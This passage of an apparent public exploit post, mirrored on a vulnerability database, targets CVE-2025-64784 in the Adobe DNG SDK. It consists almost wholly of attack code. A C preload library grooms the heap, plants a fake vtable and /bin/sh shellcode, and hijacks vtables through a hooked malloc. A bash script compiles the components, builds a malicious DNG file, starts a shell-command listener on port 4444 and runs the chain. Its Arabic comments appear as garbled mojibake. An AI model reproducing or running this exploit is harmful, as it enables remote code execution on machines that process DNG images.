            fprintf(stderr, "[HEAP_GROOM] Starting heap spray\n");
        }
        
        g_heap_state.sprayed_blocks = original_malloc(
            g_heap_state.spray_count * sizeof(void*));
        
        if (!g_heap_state.sprayed_blocks) {
            return;
        }
        
        memset(g_heap_state.sprayed_blocks, 0, 
               g_heap_state.spray_count * sizeof(void*));
        
        // Ų±Ų“ Ų§Ł„ŁƒŲŖŁ„ بأنماط مختلفة
        for (int i = 0; i < g_heap_state.spray_count; i++) {
            g_heap_state.sprayed_blocks[i] = original_malloc(g_heap_state.spray_size);
            if (!g_heap_state.sprayed_blocks[i]) {
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_GROOM] Failed to allocate block %d\n", i);
                }
                continue;
            }
            
            // ŲŖŁ„ŁˆŁŠŁ† ŁƒŁ„ ŁƒŲŖŁ„Ų© بنمط مختلف للتعرف Ų¹Ł„ŁŠŁ‡Ų§
            unsigned char pattern = 0x41 + (i % 26);
            memset(g_heap_state.sprayed_blocks[i], pattern, g_heap_state.spray_size);
            
            // وضع markers في Ų§Ł„ŲØŲÆŲ§ŁŠŲ© ŁˆŲ§Ł„Ł†Ł‡Ų§ŁŠŲ©
            unsigned long* start_marker = (unsigned long*)g_heap_state.sprayed_blocks[i];
            unsigned long* end_marker = (unsigned long*)((char*)g_heap_state.sprayed_blocks[i] + 
                                                        g_heap_state.spray_size - 8);
            *start_marker = 0xDEADBEEFCAFEBABE;
            *end_marker = 0xFEEDFACEB00BB00B;
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Sprayed %d blocks\n", g_heap_state.spray_count);
        }
    }
    
    static void create_strategic_holes() {
        // ؄نؓاؔ Ų«Ł‚ŁˆŲØ استراتيجية (ŁƒŁ„ 7 ŁƒŲŖŁ„)
        int holes_created = 0;
        
        for (int i = 0; i < g_heap_state.spray_count; i += 7) {
            if (g_heap_state.sprayed_blocks[i]) {
                original_free(g_heap_state.sprayed_blocks[i]);
                g_heap_state.sprayed_blocks[i] = NULL;
                holes_created++;
            }
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Created %d holes\n", holes_created);
        }
    }
    
    static void create_target_object() {
        g_heap_state.target_object = original_malloc(g_heap_state.target_size);
        if (!g_heap_state.target_object) {
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_GROOM] Failed to create target object\n");
            }
            return;
        }
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Target object: %p (0x%zx)\n",
                    g_heap_state.target_object, g_heap_state.target_size);
        }
        
        // ŲŖŁ„ŁˆŁŠŁ† Ų§Ł„ŁƒŲ§Ų¦Ł†
        memset(g_heap_state.target_object, 0x42, g_heap_state.target_size);
        
        // ؄عداد VTable زائف
        void** fake_vtable = (void**)((char*)g_heap_state.target_object + 
                                      g_heap_state.vtable_offset);
        
        // Ł…Ų¤Ų“Ų±Ų§ŲŖ دالة Ł„Ł„ŲŖŲ­ŁƒŁ…
        // في استغلال Ų­Ł‚ŁŠŁ‚ŁŠŲŒ هذه Ų³ŲŖŁƒŁˆŁ† Ų¹Ł†Ų§ŁˆŁŠŁ† gadgets
        fake_vtable[0] = (void*)0x00007f1234567000;  // "execute"
        fake_vtable[1] = (void*)0x00007f1234567100;  // "secret"
        fake_vtable[2] = (void*)0x00007f1234567200;  // destructor
        
        // وضع shellcode في buffer
        unsigned char* code_buffer = (unsigned char*)g_heap_state.target_object + 0x100;
        
        // shellcode ŲŖŁ†ŁŁŠŲ° /bin/sh
        unsigned char shellcode[] = {
            0x48, 0x31, 0xc0,                   // xor rax, rax
            0x48, 0x89, 0xc2,                   // mov rdx, rax
            0x48, 0x89, 0xc6,                   // mov rsi, rax
            0x48, 0x8d, 0x3d, 0x10, 0x00, 0x00, 0x00, // lea rdi, [rip+0x10]
            0xb0, 0x3b,                         // mov al, 0x3b
            0x0f, 0x05,                         // syscall
            0xcc,                               // int3
            '/', 'b', 'i', 'n', '/', 's', 'h', 0
        };
        
        memcpy(code_buffer, shellcode, sizeof(shellcode));
    }
    
    // ============== Constructor/Destructor ==============
    void __attribute__((constructor)) init_heap_grooming() {
        if (getenv("HEAP_GROOM_DISABLE")) {
            return;
        }
        
        init_original_functions();
        setup_environment();
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "\n[HEAP_GROOM] Initializing exploit heap manager\n");
        }
        
        spray_heap();
        create_strategic_holes();
        create_target_object();
        
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Initialization complete\n");
        }
    }
    
    void __attribute__((destructor)) cleanup_heap_grooming() {
        if (g_heap_state.debug_mode) {
            fprintf(stderr, "[HEAP_GROOM] Cleaning up\n");
        }
        
        // تحرير Ų§Ł„ŁƒŲŖŁ„ Ų§Ł„Ł…Ų±Ų“ŁˆŲ“Ų©
        if (g_heap_state.sprayed_blocks) {
            for (int i = 0; i < g_heap_state.spray_count; i++) {
                if (g_heap_state.sprayed_blocks[i]) {
                    original_free(g_heap_state.sprayed_blocks[i]);
                }
            }
            original_free(g_heap_state.sprayed_blocks);
        }
        
        // تحرير Ų§Ł„ŁƒŲ§Ų¦Ł† المستهدف
        if (g_heap_state.target_object) {
            original_free(g_heap_state.target_object);
        }
        
        // تحرير قائمة المراقبة
        if (g_heap_state.monitored) {
            original_free(g_heap_state.monitored);
        }
    }
    
    // ============== تعويض ŲÆŁˆŲ§Ł„ Ų§Ł„Ų°Ų§ŁƒŲ±Ų© ==============
    void* malloc(size_t size) {
        init_original_functions();
        
        void* ptr = original_malloc(size);
        if (!ptr) {
            return NULL;
        }
        
        // ŲŖŲ³Ų¬ŁŠŁ„ Ų§Ł„ŲŖŲ®ŲµŁŠŲµŲ§ŲŖ Ų§Ł„Ų¶Ų¹ŁŠŁŲ©
        if (is_vulnerable_object(size)) {
            if (g_heap_state.debug_mode) {
                fprintf(stderr, "[HEAP_MONITOR] Vulnerable object: %p (0x%zx)\n", ptr, size);
            }
            
            // Ų„Ų°Ų§ ŁƒŲ§Ł† Ł‡Ł†Ų§Łƒ ŁƒŲ§Ų¦Ł† Ł…Ų³ŲŖŁ‡ŲÆŁŲŒ Ł†Ł‚ŁˆŁ… ŲØŁ€ VTable hijacking
            if (g_heap_state.target_object) {
                void** object_vtable = (void**)((char*)ptr + g_heap_state.vtable_offset);
                void** target_vtable = (void**)((char*)g_heap_state.target_object + 
                                               g_heap_state.vtable_offset);
                
                // نسخ VTable من Ų§Ł„ŁƒŲ§Ų¦Ł† المستهدف
                memcpy(object_vtable, target_vtable, 3 * sizeof(void*));
                
                if (g_heap_state.debug_mode) {
                    fprintf(stderr, "[HEAP_HIJACK] VTable hijacked at %p\n", object_vtable);
                }
            }
            
            // ؄ضافة ؄لى قائمة المراقبة
            if (!g_heap_state.monitored) {
                g_heap_state.monitored = original_malloc(100 * sizeof(MonitoredObject));
                g_heap_state.monitored_count = 0;
            }
            
            if (g_heap_state.monitored && g_heap_state.monitored_count < 100) {
                g_heap_state.monitored[g_heap_state.monitored_count].address = ptr;
                g_heap_state.monitored[g_heap_state.monitored_count].size = size;
                g_heap_state.monitored[g_heap_state.monitored_count].is_vulnerable = 1;
                g_heap_state.monitored[g_heap_state.monitored_count].is_hijacked = 
                    (g_heap_state.target_object != NULL);
                g_heap_state.monitored_count++;
            }
        }
        
        return ptr;
    }
    
    void free(void* ptr) {
        init_original_functions();
        
        // التحقق Ł…Ł…Ų§ Ų„Ų°Ų§ ŁƒŲ§Ł† المؤؓر ŁŠŁ†ŲŖŁ…ŁŠ ؄لى Ų§Ł„ŁƒŲŖŁ„ Ų§Ł„Ł…Ų±Ų“ŁˆŲ“Ų©
        if (g_heap_state.sprayed_blocks) {
            for (int i = 0; i < g_heap_state.spray_count; i++) {
                if (g_heap_state.sprayed_blocks[i] == ptr) {
                    if (g_heap_state.debug_mode) {
                        fprintf(stderr, "[HEAP_MONITOR] Freed sprayed block %d: %p\n", i, ptr);
                    }
                    // لا نحرر Ų§Ł„ŁƒŲŖŁ„ Ų§Ł„Ł…Ų±Ų“ŁˆŲ“Ų©
                    return;
                }
            }
        }
        
        original_free(ptr);
    }
    
    void* realloc(void* ptr, size_t size) {
        init_original_functions();
        
        // Ų„Ų°Ų§ ŁƒŲ§Ł† ptr Ł‡Łˆ ŁƒŲ§Ų¦Ł† Ł…Ų±Ų§Ł‚ŲØŲŒ نسجل Ų§Ł„ŲŖŲŗŁŠŁŠŲ±
        if (g_heap_state.monitored) {
            for (int i = 0; i < g_heap_state.monitored_count; i++) {
                if (g_heap_state.monitored[i].address == ptr) {
                    if (g_heap_state.debug_mode) {
                        fprintf(stderr, "[HEAP_MONITOR] Reallocating monitored object: %p\n", ptr);
                    }
                    break;
                }
            }
        }
        
        return original_realloc(ptr, size);
    }
    
    void* calloc(size_t nmemb, size_t size) {
        init_original_functions();
        return original_calloc(nmemb, size);
    }
    
    ========================
    [+] Part 3: The script
    ========================
    
    #!/bin/bash
    # run_final_exploit.sh
    
    set -euo pipefail
    
    # ============== Ų§Ł„Ų£Ł„ŁˆŲ§Ł† للمخرجات ==============
    RED='\033[0;31m'
    GREEN='\033[0;32m'
    YELLOW='\033[1;33m'
    BLUE='\033[0;34m'
    NC='\033[0m' # No Color
    
    print_header() {
        echo -e "${BLUE}"
        echo "╔══════════════════════════════════════════════════════╗"
        echo "ā•‘           CVE-2025-64784 By indoushka                ā•‘"
        echo "ā•‘        Adobe DNG SDK <= 1.7 RCE Exploit              ā•‘"
        echo "ā•šā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•"
        echo -e "${NC}"
        echo ""
    }
    
    print_step() {
        echo -e "${GREEN}[*]${NC} $1"
    }
    
    print_warning() {
        echo -e "${YELLOW}[!]${NC} $1"
    }
    
    print_error() {
        echo -e "${RED}[ERROR]${NC} $1"
    }
    
    print_success() {
        echo -e "${GREEN}[+]${NC} $1"
    }
    
    # ============== التحقق من المتطلبات ==============
    check_requirements() {
        print_step "Checking system requirements..."
        
        local missing=0
        
        # التحقق من gcc
        if ! command -v gcc &> /dev/null; then
            print_error "gcc not found"
            missing=1
        fi
        
        # التحقق من python3
        if ! command -v python3 &> /dev/null; then
            print_error "python3 not found"
            missing=1
        fi
        
        # التحقق من netcat
        if ! command -v nc &> /dev/null; then
            print_warning "netcat not found (reverse shell may not work)"
        fi
        
        # التحقق من make
        if ! command -v make &> /dev/null; then
            print_warning "make not found (DNG SDK compilation may fail)"
        fi
        
        # التحقق من ŲØŁ†ŁŠŲ© النظام
        local arch=$(uname -m)
        if [[ "$arch" != "x86_64" ]]; then
            print_warning "Running on $arch (expected x86_64 for exploit)"
        fi
        
        if [[ $missing -eq 1 ]]; then
            print_error "Missing requirements. Install with:"
            echo "  sudo apt install gcc python3 netcat make"
            exit 1
        fi
        
        print_success "Requirements check passed"
    }
    
    # ============== Ų§Ł„ŲŖŲ¬Ł…ŁŠŲ¹ ==============
    compile_exploit() {
        print_step "Compiling exploit components..."
        
        # 1. ŲŖŲ¬Ł…ŁŠŲ¹ heap groomer
        if [[ -f "heap_groom_final.c" ]]; then
            print_step "Compiling heap_groom_final.so..."
            gcc -shared -fPIC -o heap_groom_final.so heap_groom_final.c -ldl -Wall
            if [[ ! -f "heap_groom_final.so" ]]; then
                print_error "Failed to compile heap_groom_final.so"
                exit 1
            fi
            print_success "heap_groom_final.so compiled"
        fi
        
        # 2. ŲŖŲ¬Ł…ŁŠŲ¹ الاستغلال Ų§Ł„Ų±Ų¦ŁŠŲ³ŁŠ
        if [[ -f "final_exploit_cve_2025_64784.c" ]]; then
            print_step "Compiling final_exploit..."
            gcc -o final_exploit final_exploit_cve_2025_64784.c -ldl -Wall
            if [[ ! -f "final_exploit" ]]; then
                print_error "Failed to compile final_exploit"
                exit 1
            fi
            print_success "final_exploit compiled"
        fi
        
        # 3. ŲŖŲ¬Ł…ŁŠŲ¹ DNG SDK Ų„Ų°Ų§ ŁƒŲ§Ł† Ł…ŁˆŲ¬ŁˆŲÆŲ§Ł‹
        if [[ -f "dng_sdk/Makefile" ]]; then
            print_step "Compiling vulnerable DNG SDK..."
            cd dng_sdk && make -j$(nproc) && cd ..
            if [[ -f "dng_sdk/dng_validate" ]]; then
                ln -sf dng_sdk/dng_validate ./
                print_success "DNG SDK compiled"
            fi
        fi
    }
    
    # ============== ؄نؓاؔ ملفات DNG ==============
    create_dng_files() {
        print_step "Creating DNG exploit files..."
        
        if [[ ! -f "create_malicious_dng.py" ]]; then
            print_warning "create_malicious_dng.py not found"
            return
        fi
        
        # ؄نؓاؔ ملف DNG أساسي
        python3 create_malicious_dng.py
        
        if [[ -f "exploit.dng" ]]; then
            local size=$(stat -c%s "exploit.dng")
            print_success "Created exploit.dng ($size bytes)"
        else
            print_error "Failed to create exploit.dng"
        fi
    }
    
    # ============== ŲŖŲ“ŲŗŁŠŁ„ Listener متقدم ==============
    start_advanced_listener() {
        print_step "Starting reverse shell listener..."
        
        # ؄نؓاؔ script listener متقدم
        cat > advanced_listener.py << 'EOF'
    #!/usr/bin/env python3
    import socket
    import subprocess
    import sys
    import os
    import threading
    
    PORT = 4444
    HOST = '0.0.0.0'
    
    def handle_client(client_socket, address):
        print(f"[*] Connection from {address[0]}:{address[1]}")
        
        # Ų„Ų±Ų³Ų§Ł„ banner
        banner = b"\n[+] CVE-2025-64784 Exploit Successful!\n"
        banner += b"[+] Remote Code Execution Achieved\n\n"
        client_socket.send(banner)
        
        # ŲŖŁˆŲ¬ŁŠŁ‡ Ų§Ł„Ų£ŁˆŲ§Ł…Ų± ؄لى shell
        while True:
            try:
                # Ų„Ų±Ų³Ų§Ł„ prompt
                client_socket.send(b"$ ")
                
                # استقبال الأمر
                command = b""
                while True:
                    data = client_socket.recv(1)
                    if not data or data == b"\n":
                        break
                    command += data
                
                command = command.decode('utf-8', errors='ignore').strip()
                
                if command.lower() in ['exit', 'quit']:
                    break
                
                if command:
                    print(f"[CMD] {command}")
                    
                    # ŲŖŁ†ŁŁŠŲ° الأمر
                    try:
                        result = subprocess.check_output(
                            command, 
                            shell=True, 
                            stderr=subprocess.STDOUT,
                            timeout=5
                        )
                        client_socket.send(result + b"\n")
                    except subprocess.CalledProcessError as e:
                        client_socket.send(e.output + b"\n")
                    except subprocess.TimeoutExpired:
                        client_socket.send(b"Command timed out\n")
            except Exception as e:
                print(f"[ERROR] {e}")
                break
        
        client_socket.close()
        print(f"[*] Connection closed: {address[0]}:{address[1]}")
    
    def main():
        # ؄نؓاؔ socket
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        
        try:
            server.bind((HOST, PORT))
            server.listen(5)
            print(f"[*] Listening on {HOST}:{PORT}")
            print("[*] Waiting for exploit to trigger...")
            
            while True:
                client, address = server.accept()
                client_handler = threading.Thread(
                    target=handle_client, 
                    args=(client, address)
                )
                client_handler.start()
        except KeyboardInterrupt:
            print("\n[*] Shutting down listener")
        except Exception as e:
            print(f"[ERROR] {e}")
        finally:
            server.close()
    
    if __name__ == "__main__":
        main()
    EOF
        
        chmod +x advanced_listener.py
        
        # ŲŖŲ“ŲŗŁŠŁ„ الـ listener في Ų§Ł„Ų®Ł„ŁŁŠŲ©
        ./advanced_listener.py &
        LISTENER_PID=$!
        
        echo $LISTENER_PID > .listener.pid
        print_success "Listener started with PID: $LISTENER_PID"
        
        # الانتظار Ł„Ł„ŲŖŲ£ŁƒŲÆ من ŲØŲÆŲ” الـ listener
        sleep 3
    }
    
    # ============== ŲŖŁ†ŁŁŠŲ° الاستغلال ==============
    run_exploit() {
        print_step "Running exploit chain..."
        
        # ŲŖŲ¹ŁŠŁŠŁ† Ų„Ų¹ŲÆŲ§ŲÆŲ§ŲŖ Heap Grooming
        export HEAP_DEBUG=1
        export HEAP_SPRAY_COUNT=400
        export HEAP_SPRAY_SIZE=8192
        export HEAP_TARGET_SIZE=1024
        export HEAP_VTABLE_OFFSET=0x28
        
        print_step "Heap grooming configuration:"
        echo "  SPRAY_COUNT: $HEAP_SPRAY_COUNT"
        echo "  SPRAY_SIZE:  $HEAP_SPRAY_SIZE"
        echo "  TARGET_SIZE: $HEAP_TARGET_SIZE"
        echo "  VTABLE_OFFSET: $HEAP_VTABLE_OFFSET"
        
        local input_dng="exploit.dng"
        local output_dng="final_exploit.dng"
        
        if [[ ! -f "$input_dng" ]]; then
            print_error "Input DNG not found: $input_dng"
            return 1
        fi
        
        # ŲŖŲ“ŲŗŁŠŁ„ الاستغلال
        print_step "Executing: ./final_exploit $input_dng $output_dng 0"
        echo ""
        
        if [[ -f "./final_exploit" ]]; then
            timeout 30 ./final_exploit "$input_dng" "$output_dng" 0 2>&1 | tee exploit.log
            local exit_code=${PIPESTATUS[0]}
            
            echo ""
            if [[ $exit_code -eq 0 ]]; then
                print_success "Exploit execution completed"
            elif [[ $exit_code -eq 124 ]]; then
                print_warning "Exploit timed out (may still have worked)"
            else
                print_error "Exploit failed with exit code: $exit_code"
            fi
        else
            print_error "final_exploit binary not found"
            return 1
        fi
        
        return 0
    }
    
    # ============== Ų¹Ų±Ų¶ النتائج ==============
    show_results() {
        print_step "Exploit Results Summary"
        echo "========================================"
        
        # التحقق من وجود reverse shell
        if [[ -f ".listener.pid" ]]; then
            local listener_pid=$(cat .listener.pid)
            if ps -p "$listener_pid" > /dev/null 2>&1; then
                print_warning "Listener still running (PID: $listener_pid)"
                print_step "Connect to reverse shell: nc -nv 127.0.0.1 4444"
            else
                print_success "Listener completed (check exploit.log for shell output)"
            fi
        fi
        
        # Ų¹Ų±Ų¶ سجل الأخطاؔ
        if [[ -f "exploit.log" ]]; then
            local error_count=$(grep -c -i "error\|fail\|segmentation" exploit.log)
            local success_count=$(grep -c -i "success\|hijack\|shell" exploit.log)
            
            echo ""
            echo "Log Analysis:"
            echo "  Errors/Warnings: $error_count"
            echo "  Success indicators: $success_count"
            
            if [[ $success_count -gt 0 ]]; then
                print_success "Exploit shows signs of success!"
            fi
        fi
        
        # التحقق من الملفات الناتجة
        echo ""
        echo "Generated files:"
        [[ -f "final_exploit.dng" ]] && echo "  āœ“ final_exploit.dng"
        [[ -f "exploit.log" ]] && echo "  āœ“ exploit.log"
        [[ -f "exploit_full.log" ]] && echo "  āœ“ exploit_full.log"
        
        echo ""
        print_step "Next steps:"
        echo "1. Check for reverse shell connection"
        echo "2. Review exploit.log for detailed output"
        echo "3. Adjust heap grooming parameters if needed"
        echo "4. Try different libc versions: 0-3"
    }
    
    # ============== Ų§Ł„ŲŖŁ†ŲøŁŠŁ ==============
    cleanup() {
        print_step "Cleaning up..."
        
        # Ų„ŁŠŁ‚Ų§Ł الـ listener
        if [[ -f ".listener.pid" ]]; then
            local listener_pid=$(cat .listener.pid)
            if ps -p "$listener_pid" > /dev/null 2>&1; then
                kill "$listener_pid" 2>/dev/null
                wait "$listener_pid" 2>/dev/null
            fi
            rm -f .listener.pid
        fi
        
        # حذف الملفات المؤقتة
        rm -f advanced_listener.py brute_*.dng 2>/dev/null
        
        print_success "Cleanup completed"
    }
    
    # ============== الدالة Ų§Ł„Ų±Ų¦ŁŠŲ³ŁŠŲ© ==============
    main() {
        print_header
        
        # معالجة Ctrl+C
        trap 'echo -e "\n${YELLOW}[!] Interrupted${NC}"; cleanup; exit 1' INT
        
        # التحقق من أنه ŁŠŲŖŁ… Ų§Ł„ŲŖŲ“ŲŗŁŠŁ„ ŁƒŁ€ root (مفضل للاستغلال)
        if [[ $EUID -ne 0 ]]; then
            print_warning "Running as non-root user (some operations may fail)"
            read -p "Continue anyway? (y/n): " -n 1 -r
            echo
            if [[ ! $REPLY =~ ^[Yy]$ ]]; then
                exit 1
            fi
        fi
        
        # ŲŖŁ†ŁŁŠŲ° Ų§Ł„Ų®Ų·ŁˆŲ§ŲŖ
        check_requirements
        compile_exploit
        create_dng_files
        
        # ŲØŲÆŲ” الـ listener
        start_advanced_listener
        
        # ŲŖŲ“ŲŗŁŠŁ„ الاستغلال
        if run_exploit; then
            show_results
        else
            print_error "Exploit execution failed"
        fi
        
        # ŲŖŁ†ŲøŁŠŁ
        cleanup
        
        echo ""
        print_success "Exploit script completed"
        echo -e "${BLUE}========================================${NC}"
    }
    
    # ŲŖŁ†ŁŁŠŲ° البرنامج Ų§Ł„Ų±Ų¦ŁŠŲ³ŁŠ
    if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
        main "$@"
    fi
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

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22 Dec 2025 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.1
EPSS0.00165
SSVC
156